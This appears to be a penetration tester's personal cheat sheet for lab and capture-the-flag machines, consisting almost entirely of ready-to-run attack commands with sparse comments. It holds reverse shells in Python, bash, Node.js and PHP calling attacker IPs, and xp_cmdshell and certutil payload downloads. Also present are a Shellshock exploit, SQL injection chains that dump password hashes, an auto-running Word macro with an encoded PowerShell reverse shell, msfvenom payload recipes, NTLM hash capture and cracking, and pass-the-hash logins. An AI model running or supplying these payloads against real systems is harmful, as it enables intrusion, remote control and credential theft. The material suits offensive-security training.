namingcontexts: DC=exampleH,DC=example
namingcontexts: CN=Configuration,DC=exampleH,DC=example
namingcontexts: CN=Schema,CN=Configuration,DC=exampleH,DC=example
namingcontexts: DC=DomainDnsZones,DC=exampleH,DC=example
namingcontexts: DC=ForestDnsZones,DC=exampleH,DC=example
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
ldapsearch -x -H ldap://192.168.214.122 -b "DC=exampleH,DC=example"
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 $IP
proxychains crackmapexec mssql -d example.com -u sql_service -p password123 -x "whoami" 10.10.126.148
proxychains crackmapexec mssql -d example.com -u sql_service -p password123 -x "whoami" 10.10.126.148 -q 'SELECT name FROM master.dbo.sysdatabases;'
sqsh -S $IP -U sa -P CrimsonQuiltScalp193 #linux
proxychains sqsh -S 10.10.126.148 -U example.com\\sql_service -P password123 -D msdb #windows
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell 'powershell "Invoke-WebRequest -Uri http://10.10.126.147:7781/rshell.exe -OutFile c:\Users\Public\reverse.exe"'
go
xp_cmdshell 'c:\Users\Public\reverse.exe"'
go
showmount $IP
showmount -e $IP
sudo mount -o [options] -t nfs ip_address:share directory_to_mount
mkdir temp
mount -t nfs -o vers=3 10.11.1.72:/home temp -o nolock
sudo groupadd -g 1014 <group name>
sudo groupadd -g 1014 1014
sudo useradd -u 1014 -g 1014 <user>
sudo useradd -u 1014 -g 1014 test
sudo passwd <user>
sudo passwd test
The user cannot be logged in or active
sudo usermod -aG 1014 root
-rw------- 1 root root 3381 Sep 24 2020 id_rsa
sudo chown kali id_rsa
-rw------- 1 kali root 3381 Sep 24 2020 id_rsa
nc -nv $IP 3003 #run this
help #run this
bins;build;build_os;build_time;cluster-name;config-get;config-set;digests;dump-cluster;dump-fabric;dump-hb;dump-hlc;dump-migrates;dump-msgs;dump-rw;dump-si;dump-skew;dump-wb-summary;eviction-reset;feature-key;get-config;get-sl;health-outliers;health-stats;histogram;jem-stats;jobs;latencies;log;log-set;log-message;logs;mcast;mesh;name;namespace;namespaces;node;physical-devices;quiesce;quiesce-undo;racks;recluster;revive;roster;roster-set;service;services;services-alumni;services-alumni-reset;set-config;set-log;sets;show-devices;sindex;sindex-create;sindex-delete;sindex-histogram;statistics;status;tip;tip-clear;truncate;truncate-namespace;truncate-namespace-undo;truncate-undo;version;
version #run this
Aerospike Community Edition build 5.1.0.1
wget https://raw.githubusercontent.com/b4ny4n/CVE-2020-13151/master/cve2020-13151.py
python3 cve2020-13151.py --ahost=192.168.208.143 --aport=3000 --pythonshell --lhost=192.168.45.208 --lport=443
nc -nlvp 443
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.11.1.8
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 $IP -Pn
crowbar -b rdp -s 10.11.1.7/32 -U users.txt -C rockyou.txt
xfreerdp /cert-ignore /bpp:8 /compression -themes -wallpaper /auto-reconnect /h:1000 /w:1600 /v:192.168.238.191 /u:admin /p:password
xfreerdp /u:admin /v:192.168.238.191 /cert:ignore /p:"password" /timeout:20000 /drive:home,/tmp
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after: 2030-04-25T15:41:47
PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)
multiple/remote/50847.py
python3 50847.py -i 192.168.214.47 -p 5437 -c "busybox nc 192.168.45.191 80 -e sh"
nc -nv $IP 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
help #always run this after your nc -nv command
root:root
[email protected]:admin
admin:admin
USERK:USERK #name of the box
cassie:cassie #Found users with exiftool
Send this request through burpsuite
POST /checkout HTTP/1.1
Host: 192.168.214.250:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://192.168.214.250:5000
Connection: close
Referer: http://192.168.214.250:5000/checkout
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2ODUwNTc5MjR9.UgSoyjhtdOX00NmlbaJAuX8M3bjIMv3jXMFY_SnXpB8
Upgrade-Insecure-Requests: 1
full_name=Joshua&address=street+123&card=12345678897087696879&cvc=1234&date=1234&captcha=3`
This time add a ;
POST /checkout HTTP/1.1
Host: 192.168.214.250:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://192.168.214.250:5000
Connection: close
Referer: http://192.168.214.250:5000/checkout
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2ODUwNTc5MjR9.UgSoyjhtdOX00NmlbaJAuX8M3bjIMv3jXMFY_SnXpB8
Upgrade-Insecure-Requests: 1
full_name=Joshua&address=street+123&card=12345678897087696879&cvc=1234&date=1234&captcha=3;
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(80, "192.168.45.191", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
POST /checkout HTTP/1.1
Host: 192.168.214.250:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: http://192.168.214.250:5000
Connection: close
Referer: http://192.168.214.250:5000/checkout
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2ODUwNTc5MjR9.UgSoyjhtdOX00NmlbaJAuX8M3bjIMv3jXMFY_SnXpB8
Upgrade-Insecure-Requests: 1
full_name=Joshua&address=street+123&card=12345678897087696879&cvc=1234&date=1234&captcha=3;(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(80, "192.168.45.191", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.191] from (UNKNOWN) [192.168.214.250] 46956
id
uid=1000(observer) gid=1000(observer) groups=1000(observer)
nikto -ask=no -h http://10.11.1.71:80 2>&1
OSVDB-112004: /cgi-bin/admin.cgi: Site appears vulnerable to the 'shellshock' vulnerability
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.119.183/9001 0>&1'" \
http://10.11.1.71:80/cgi-bin/admin.cgi
http://10.11.1.35/section.php?page=/etc/passwd
userE@demon:/var/www/internal/backend/index.php #this file lives 5 directories deep.
127.0.0.1:8000/backend/?view=../../../../../etc/passwd #So you have to add 5 ../ in order to read the files you want
http://10.11.1.35/section.php?page=http://192.168.119.168:80/hacker.txt
For background the DNS Querying Service is running nslookup and then querying the output. The way we figured this out was by inputing our own IP and getting back an error that is similar to one that nslookup would produce. With this in mind we can add the && character to append another command to the query:
&& whoami
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your kali IP> LPORT=<port you designated> -f exe -o ~/shell.exe
python3 -m http.server 80
&& certutil -urlcache -split -f http://<your kali IP>/shell.exe C:\\Windows\temp\shell.exe
nc -nlvp 80
&& cmd /c C:\\Windows\\temp\\shell.exe
For background on this box we had a snmp manager on port 4080 using whatweb i confirmed this was linux based. Off all of this I was able to login as admin:admin just on guessing the weak creds. When I got in I looked for random files and got Manager router tab which featured a section to ping the connectivity of the routers managed.
10.1.1.95:4080/ping_router.php?cmd=192.168.0.1
10.1.1.95:4080/ping_router.php?cmd=$myip
tcpdump -i tun0 icmp
10.1.1.95:4080/ping_router.php?cmd=192.168.119.140; wget http://192.168.119.140:8000/test.html
python3 -m http.server 8000
tcpdump -i tun0 icmp
10.1.1.95:4080/ping_router.php?cmd=192.168.119.140; python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.140",22));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
nc -nlvp 22
https://github.com/swisskyrepo/PayloadsAllTheThings
';#---
https://www.tarlogic.com/blog/red-team-tales-0x01/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md#mssql-command-execution
';EXEC master.dbo.xp_cmdshell 'ping 192.168.119.184';--
';EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://192.168.119.184:443/shell.exe C:\\Windows\temp\shell.exe';--
';EXEC master.dbo.xp_cmdshell 'cmd /c C:\\Windows\\temp\\shell.exe';--
found a db.php file/directory. In this case fuzzed with ffuf, the example in our ffuf bruteforcing login pages will help on this
<?php
include 'dbconnection.php';
$userid = $_POST['userid'];
$password = $_POST['password'];
$sql =
"SELECT * FROM users WHERE username = '$userid' AND password = '$password'";
$result = mysqli_query($db, $sql) or die(mysqli_error($db));
$num = mysqli_fetch_array($result);
if($num > 0) {
echo "Login Success";
}
else {
echo "Wrong User id or password";
}
?>
admin' -- ' --
Background information on sqli: scanning the network for different services that may be installed. A mariaDB was installed however the same logic can be used depending on what services are running on the network
admin ' OR 1=1 --
1' OR 1 = 1#
admin ' OR 1=1 --
https://web.archive.org/web/20220727065022/https://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html
'
Something went wrong with the search: java.sql.SQLSyntaxErrorException: ORA-01756: quoted string not properly terminated
' OR 1=1 -- #query
Blog entry from USERA with title The Great Escape from 2017
Blog entry from USERB with title I Love Crypto from 2016
Blog entry from USERC with title Man-in-the-middle from 2018
Blog entry from USERA with title To Paris and Back from 2019
Blog entry from Maria with title Software Development Lifecycle from 2018
Blog entry from Eric with title Accounting is Fun from 2019
' union select 1,2,3,4,5,6-- #query
java.sql.SQLSyntaxErrorException: ORA-00923: FROM keyword not found where expected
' union select 1,2,3,4,5,6 from dual-- #Adjust for more or less columns
java.sql.SQLSyntaxErrorException: ORA-01789: query block has incorrect number of result columns
' union select 1,2,3 from dual-- #adjusted columns
java.sql.SQLSyntaxErrorException: ORA-01790: expression must have same datatype as corresponding expression ORA-01790: expression must have same datatype as corresponding expression
' union select null,null,null from dual-- #query
Blog entry from null with title null from 0
' union select user,null,null from dual-- #query
Blog entry from example_APP with title null from 0
' union select table_name,null,null from all_tables-- #query
Blog entry from example_ADMINS with title null from 0
Blog entry from example_CONTENT with title null from 0
Blog entry from example_USERS with title null from 0
' union select column_name,null,null from all_tab_columns where table_name='example_ADMINS'-- #query
Blog entry from ADMIN_ID with title null from 0
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' union select ADMIN_NAME||PASSWORD,null,null from example_ADMINS-- #query
Blog entry from admind82494f05d6917ba02f7aaa29689ccb444bb73f20380876cb05d1f37537b7892 with title null from 0
https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/
' #Entered
Unclosed quotation mark after the character string '',')'. #response
insert into dbo.tablename ('','');
#two statements Username and Email. Web Server says User added which indicates an insert statement
#we want to imagine what the query could potentially look like so we did a mock example above
insert into dbo.tablename (''',); #this would be created as an example of the error message above
insert into dbo.tablename ('1 AND 1=CONVERT(INT,@@version))--' ,''); #This is what is looks like
insert into dbo.tablename('',1 AND 1=CONVERT(INT,@@version))-- #Correct payload based on the above
',1 AND 1=CONVERT(INT,@@version))-- #Enumerate the DB
Server Error in '/Newsletter' Application.#Response
Incorrect syntax near the keyword 'AND'. #Response
',CONVERT(INT,@@version))-- #Corrected Payoad to adjust for the error
', CONVERT(INT,db_name(1)))--
master
', CONVERT(INT,db_name(2)))--
tempdb
', CONVERT(INT,db_name(3)))--
model
', CONVERT(INT,db_name(4)))--
msdb
', CONVERT(INT,db_name(5)))--
newsletter
', CONVERT(INT,db_name(6)))--
archive
', CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM archive.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58))))--
pEXAMPLE
', CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM archive.information_schema.COLUMNS WHERE TABLE_NAME='pEXAMPLE')+CHAR(58)+CHAR(58))))--
3 entries
', CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top 1 column_name FROM archive.information_schema.COLUMNS WHERE TABLE_NAME='pEXAMPLE' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58))))--
alogin
', CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top 2 column_name FROM archive.information_schema.COLUMNS WHERE TABLE_NAME='pEXAMPLE' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58))))--
id
', CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top 3 column_name FROM archive.information_schema.COLUMNS WHERE TABLE_NAME='pEXAMPLE' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58))))--
psw
', CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 psw FROM (SELECT top 1 psw FROM archive..pEXAMPLE ORDER BY psw ASC) sq ORDER BY psw DESC)+CHAR(58)+CHAR(58))))--
3c744b99b8623362b466efb7203fd182
', CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 psw FROM (SELECT top 2 psw FROM archive..pEXAMPLE ORDER BY psw ASC) sq ORDER BY psw DESC)+CHAR(58)+CHAR(58))))--
5b413fe170836079622f4131fe6efa2d
', CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 psw FROM (SELECT top 3 psw FROM archive..pEXAMPLE ORDER BY psw ASC) sq ORDER BY psw DESC)+CHAR(58)+CHAR(58))))--
7de6b6f0afadd89c3ed558da43930181
', CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 psw FROM (SELECT top 4 psw FROM archive..pEXAMPLE ORDER BY psw ASC) sq ORDER BY psw DESC)+CHAR(58)+CHAR(58))))--
cb2d5be3c78be06d47b697468ad3b33b
https://juggernaut-sec.com/llmnr-poisoning-responder/
responder -I tun0 -wv
[+] Listening for events...
[HTTP] Sending NTLM authentication request to 192.168.54.165
[HTTP] GET request from: ::ffff:192.168.54.165 URL: /
[HTTP] NTLMv2 Client : 192.168.54.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:4c153c5e0d81aee9:4F46F09B4B79350EA32DA7815D1F0779:01010000000000006E6BEC31EC73D90178BAF58029B083DD000000000200080039004F005500460001001E00570049004E002D00510042004A00560050004E004E0032004E0059004A000400140039004F00550046002E004C004F00430041004C0003003400570049004E002D00510042004A00560050004E004E0032004E0059004A002E0039004F00550046002E004C004F00430041004C000500140039004F00550046002E004C004F00430041004C000800300030000000000000000000000000300000C856F6898BEE6992D132CC256AC1C2292F725D1C9CB0A2BB6F2EA6DD672384220A001000000000000000000000000000000000000900240048005400540050002F003100390032002E003100360038002E00340039002E00350034000000000000000000
sudo responder -I tun0 -d -w
file://///<your $ip>/Share
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
enox::HEIST:4c153c5e0d81aee9:4F46F09B4B79350EA32DA7815D1F0779:01010000000000006E6BEC31EC73D90178BAF58029B083DD000000000200080039004F005500460001001E00570049004E002D00510042004A00560050004E004E0032004E0059004A000400140039004F00550046002E004C004F00430041004C0003003400570049004E002D00510042004A00560050004E004E0032004E0059004A002E0039004F00550046002E004C004F00430041004C000500140039004F00550046002E004C004F00430041004C000800300030000000000000000000000000300000C856F6898BEE6992D132CC256AC1C2292F725D1C9CB0A2BB6F2EA6DD672384220A001000000000000000000000000000000000000900240048005400540050002F003100390032002E003100360038002E00340039002E00350034000000000000000000
SSRF vulnerabilities occur when an attacker has full or partial control of the request sent by the web application. A common example is when an attacker can control the third-party service URL to which the web application makes a request.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.146.172 - - [09/Mar/2023 16:39:17] code 404, message File not found
192.168.146.172 - - [09/Mar/2023 16:39:17] "GET /test.html HTTP/1.1" 404 -
http://192.168.119.146/test.html
http://192.168.119.146/test.hta
cat shell.php
echo '<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>' > shell.php
http://<$Victim>/site/index.php?page=http://<Your $IP>:80/shell.php&cmd=ping <Your $IP>
tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
20:27:03.538792 IP 192.168.153.53 > 192.168.45.191: ICMP echo request, id 1, seq 1, length 40
20:27:03.539661 IP 192.168.45.191 > 192.168.153.53: ICMP echo reply, id 1, seq 1, length 40
locate nc.exe
impacket-smbserver -smb2support Share .
nc -nlvp 80
cmd.exe /c //<your kali IP>/Share/nc.exe -e cmd.exe <your kali IP> 80
cp /usr/share/webshells/asp/cmd-asp-5.1.asp . #IIS 5
ftp> put cmd-asp-5.1.asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your kali IP> LPORT=<port you designated> -f exe -o ~/shell.exe
python3 -m http.server 80
certutil -urlcache -split -f http://<your kali IP>/shell.exe C:\\Windows\temp\shell.exe
cmd /c C:\\Windows\\temp\\shell.exe
C:\inetpub\wwwroot\shell.exe #Path to run in cmd.aspx, click Run
cp /usr/share/webshells/aspx/cmdasp.aspx .
cp /usr/share/windows-binaries/nc.exe .
ftp> put cmdasp.aspx
impacket-smbserver -smb2support Share .
http://<target $IP>:<port>/cmdasp.aspx
nc -nlvp <port on your kali>
cmd.exe /c //192.168.119.167/Share/nc.exe -e cmd.exe <your kali $IP> <your nc port>
We will use msfvenom to turn our basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell. In Listing 11, the complete reverse shell payload is generated and saved into the file evil.hta.
msfvenom -p windows/shell_reverse_tcp LHOST=<your tun0 IP> LPORT=<your nc port> -f hta-psh -o ~/evil.hta
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your tun0 IP> LPORT=<your nc port> -f hta-psh -o ~/evil64.hta
When leveraging client-side vulnerabilities, it is important to use applications that are trusted by the victim in their everyday line of work. Unlike potentially suspicious-looking web links, Microsoft Office1 client-side attacks are often successful because it is difficult to differentiate malicious content from benign. In this section, we will explore various client-side attack vectors that leverage Microsoft Office applications
msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f hta-psh -o shell.doc
https://github.com/X0RW3LL/Minitrue
cd /opt/WindowsMacros/Minitrue
./minitrue
select a payload: windows/x64/shell_reverse_tcp
select the payload type: VBA Macro
LHOST=$yourIP
LPORT=$yourPort
Payload encoder: None
Select or enter file name (without extensions): hacker
The Microsoft Word macro may be one the oldest and best-known client-side software attack vectors.
Microsoft Office applications like Word and Excel allow users to embed macros, a series of commands and instructions that are grouped together to accomplish a task programmatically. Organizations often use macros to manage dynamic content and link documents with external content. More interestingly, macros can be written from scratch in Visual Basic for Applications (VBA), which is a fully functional scripting language with full access to ActiveX objects and the Windows Script Host, similar to JavaScript in HTML Applications.
Create the .doc file
Use the base64 powershell code from revshells.com
Used this code to inline macro(Paste the code from revshells in str variable) :
str = "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAMQA5AC4AMQA3ADQAIgAsADkAOQA5ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
n = 50
for i in range(0, len(str), n):
print "Str = Str + " + '"' + str[i:i+n] + '"'
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
<b>Paste the script output here!<b>
CreateObject("Wscript.Shell").Run Str
End Sub
import subprocess
# Replace "<your $IP" and "<your $PORT>" with your target IP address and port
reverse_shell_command = 'python -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<your $IP>',<your $PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"'
try:
# Execute the reverse shell command
subprocess.run(reverse_shell_command, shell=True)
except Exception as e:
print(f"An error occurred: {e}")
#!/bin/bash
sh -i 5<> /dev/tcp/[MY_IP]/[MY_PORT] 0<&5 1>&5 2>&5
cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php shell.php
python3 -m http.server
nc -nlvp 443
<?php system("wget http://<kali IP>/shell.php -O /tmp/shell.php;php /tmp/shell.php");?>
echo '<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>' > shell.php
shell.php&cmd=
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your $IP",22));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
nc -nlvp 22
or
busybox nc $IP 5000 -e /bin/bash
&cmd=whoami or ?cmd=whoami
<?php shell_exec($_GET["cmd"]);?>
<?php system($_GET["cmd"]);?>
<?php echo passthru($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
cp /usr/share/webshells/php/php-reverse-shell.php .
python3 -m http.server 800
nc -nlvp 443
&cmd=wget http://192.168.119.168:800/php-reverse-shell.php -O /tmp/shell.php;php /tmp/shell.php
https://revshells.com/
/usr/share/wordlists/rockyou.txt
/usr/share/wfuzz/wordlist/others/common_pass.txt
hashid <paste your hash here>
https://www.onlinehashcrack.com/hash-identification.php
https://hashcat.net/wiki/doku.php?id=example_hashes
https://crackstation.net/
hashcat -m <load the hash mode> hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 -a 0 -o hashout eric.hash /home/jerm/rockyou.txt #if the original doesnt work use this
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hydra -l userc -P /usr/share/wfuzz/wordlist/others/common_pass.txt $IP -t 4 ssh
hydra -l userc -P /usr/share/wordlists/rockyou.txt $IP -t 4 ssh
keepass2john Database.kdbx > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
sudo git clone https://github.com/CMEPW/keepass-dump-masterkey
chmod +x poc.py
python3 poc.py -d /home/kali/HTB/Keeper/lnorgaard/KeePassDumpFull.dmp
2023-09-27 20:32:29,743 [.] [main] Opened /home/kali/HTB/Keeper/lnorgaard/KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de
sudo apt update && sudo apt-get install keepassxc
unzip <file>
unzip bank-account.zip
Archive: bank-account.zip
[bank-account.zip] bank-account.xls password:
zip2john file.zip > test.hash
john --wordlist=/usr/share/wordlists/rockyou.txt test.hash
https://gchq.github.io/CyberChef/
If hashcat gives back some sort of Hex Encoding you can use cyber chef to finish off the hash and give you back the password
$HEX[7261626269743a29]
We typically know we can unzip files and get de-compress the results, in this case we unzipped the zip file and got almost nothing back it was weird, we used instead the commands below to test for a password on the zip file and it did indeed prompt us to enter a zip file password, we used our cracking technique of hashes above was able to login with su chloe with the password we found in the file
sudo 7z x sitebackup3.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs AMD Ryzen 5 5500U with Radeon Graphics (860F81),ASM,AES-NI)
Scanning the drive for archives:
1 file, 25312 bytes (25 KiB)
Extracting archive: sitebackup3.zip
--
Path = sitebackup3.zip
Type = zip
Physical Size = 25312
Enter password (will not be echoed):
Everything is Ok
Folders: 17
Files: 19
Size: 67063
Compressed: 25312
rdesktop -u 'USERN' -p 'abc123//' 192.168.129.59 -g 94% -d example
xfreerdp /v:10.1.1.89 /u:USERX /pth:5e22b03be22022754bf0975251e1e7ac
https://github.com/frizb/MSF-Venom-Cheatsheet
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f elf > shell.php
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=<port you designated> -f exe -o ~/shell.exe
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=80 -f raw > shell.jsp
msfvenom -f aspx -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -o shell64.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.179 LPORT=8080 -f war > shell.war
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.179 LPORT=443 -f js_le -o shellcode
(new-object System.Net.WebClient).DownloadFile('http://192.168.119.138:800/chisel.exe','C:\Windows\Tasks\chisel.exe')
impacket-smbserver -smb2support Share .
cmd.exe /c //<your kali IP>/Share/<file name you want>
/usr/local/bin/smbserver.py -username df -password df share . -smb2support
net use \\<your kali IP>\share /u:df df
copy \\<your kali IP>\share\<file wanted>
impacket-smbserver -smb2support Share .
net use \\<your kali IP>\share
copy \\<your kali IP>\share\whoami.exe
python3 -m http.server 80
certutil -urlcache -split -f http://<your kali IP>/shell.exe C:\\Windows\temp\shell.exe
Invoke-WebRequest -Uri http://10.10.93.141:7781/winPEASx64.exe -OutFile wp.exe
Access is denied. In this case try Invoke-WebRequest for powershell
In this situation we have logged onto computer A
sudo impacket-psexec Admin:'password123'@192.168.203.141 cmd.exe
C:\Windows\system32> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.203.141
